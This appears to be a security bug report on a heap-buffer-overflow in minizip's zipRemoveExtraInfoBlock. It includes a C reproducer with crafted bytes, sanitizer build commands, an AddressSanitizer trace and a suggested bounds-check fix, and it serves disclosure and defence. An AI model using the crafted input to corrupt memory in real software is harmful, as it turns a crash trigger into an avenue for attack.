Unchecked block size in zipRemoveExtraInfoBlock (contrib/minizip/zip.c) causes heap-buffer-overflow write

zipRemoveExtraInfoBlock() in contrib/minizip/zip.c reads a 2-byte block-size field directly from the input buffer and uses it unchecked as both a memcpy length and a pointer-advance amount, with no validation against the buffer's actual remaining size (*dataLen).

Confirmed present, unmodified, in current master.

Reproducer (compiles against contrib/minizip/zip.c + zip.h):

#include "contrib/minizip/zip.h"

int main(void) {
    char extra[4] = {0x11, 0x11, (char)0xff, 0x7f};
    int len = sizeof(extra);
    (void)zipRemoveExtraInfoBlock(extra, &len, (short)0x2222);
    return 0;
}

Build/run:

cc -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
  harness.c contrib/minizip/zip.c -o repro
./repro

Result: AddressSanitizer heap-buffer-overflow, WRITE of size 32771 into a 4-byte allocation, aborts (SIGABRT).

==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 32771 at ...
    #1 zipRemoveExtraInfoBlock zip.c:1980
... 4-byte region ... allocated by ... zip.c:1965

This is a different function from CVE-2023-45853 (zipOpenNewFileInZip4_64). I could not find any real-world caller of zipRemoveExtraInfoBlock in a broad GitHub code search across projects that vendor this file, so real-world reachability is unconfirmed — filing for the record since the function is public API (declared in zip.h) and the fix is a simple bounds check before the memcpy/pointer advance.